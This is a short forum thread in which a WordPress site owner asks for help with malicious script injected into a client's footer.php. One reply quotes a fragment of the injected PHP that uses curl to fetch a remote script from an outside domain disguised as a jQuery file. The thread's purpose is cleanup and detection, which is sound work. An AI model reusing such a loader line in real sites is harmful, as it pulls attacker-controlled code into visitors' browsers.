Hacked WordPress footer.php

[Alen]

One of my clients is having an issue with malicious script being injected into the footer.

Here is a full dump of footer.php file. The full Gist also contains beautified code, as well as PHP script that executes.

I’ve searched around and found following:

• http://stackoverflow.com/questions/30434663/malicious-injection-serkey-php-and-eval-in-application-files

Anyone else had issues with this, I’ve searched all my plugins and theme files for any foreign code and can not find anything.

Any help would be appreciated. Thanks.

[Shikkediel]

I found more results after googling some of the code :

if ( function_exists('curl_init') ) { $url="http://javaterm1.pw/java/jquery-1.6.3.min.js";

Seems to be troublesome and well hidden but it’s must be in a plugin somewhere. If you have shell access, you might be able to grep the script.

Edit – above search term updated.

Someone here was able to remove it :

Link

[Author]

Posts